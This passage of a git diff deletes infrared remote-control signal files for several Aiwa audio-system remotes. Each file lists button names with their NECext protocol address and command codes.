00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: t-bass -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: geq -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: karaoke -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 50 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir deleted file mode 100644 index 93b643a8d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 00 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 0C 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 12 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 13 00 00 00 -# -name: CD_MODE -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 1F 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 4E 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 51 00 00 00 -# -name: MEMORY_SET -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 52 00 00 00 -# -name: DAT_AUX -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 5D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 91 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 92 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 93 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 94 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 95 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 96 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 97 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 98 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 99 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 9A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 9B 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C4 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C5 00 00 00 -# -name: SKIP-SEARCH-TUNNING_RIGHT -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C6 00 00 00 -# -name: SKIP-SEARCH-TUNNING_LEFT -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir deleted file mode 100644 index 91e319f9d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: plus10 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: fmmode -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 13 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: prgm -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1B 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: direction -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: t_bass -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: bbe -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: geq -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir deleted file mode 100644 index c6c3fbd27..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: plus10 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: fmmode -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 13 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1B 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: skip_forw -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: skip_back -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: t_bass -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: bbe -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: geq -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir deleted file mode 100644 index 460aa6ded..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: FM-MODE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 13 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: PRGM -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1B 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: T-BASS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: BBE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: GEO -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir deleted file mode 100644 index f77d350f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: FMMODE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 13 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: PRGM -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1B 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: TBASS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: BBE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: GEQ -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: DP1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 51 00 00 00 -# -name: DP2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 52 00 00 00 -# -name: DP3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 53 00 00 00 -# -name: DISCSKIP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir deleted file mode 100644 index 26a7d03fd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: FM-Mode -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 13 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: Edit_Remain -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: Prgm -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1B 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: T-Bass -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: BBE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: GEQ -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: direct_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 51 00 00 00 -# -name: direct_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 52 00 00 00 -# -name: direct_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 53 00 00 00 -# -name: Disc_Skip -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir deleted file mode 100644 index 90db0cee1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: off -type: parsed -protocol: NECext -address: 86 13 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 13 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 13 00 00 -command: 10 00 00 00 -# -name: disc_tune+ -type: parsed -protocol: NECext -address: 86 13 00 00 -command: 11 00 00 00 -# -name: disc_tune- -type: parsed -protocol: NECext -address: 86 13 00 00 -command: 12 00 00 00 -# -name: radio_band -type: parsed -protocol: NECext -address: 86 13 00 00 -command: 13 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 86 13 00 00 -command: 14 00 00 00 -# -name: ff_next -type: parsed -protocol: NECext -address: 86 13 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 13 00 00 -command: 17 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 86 13 00 00 -command: 1B 00 00 00 -# -name: preset_scan -type: parsed -protocol: NECext -address: 86 13 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir deleted file mode 100644 index 9b30d8bfe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: mono -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 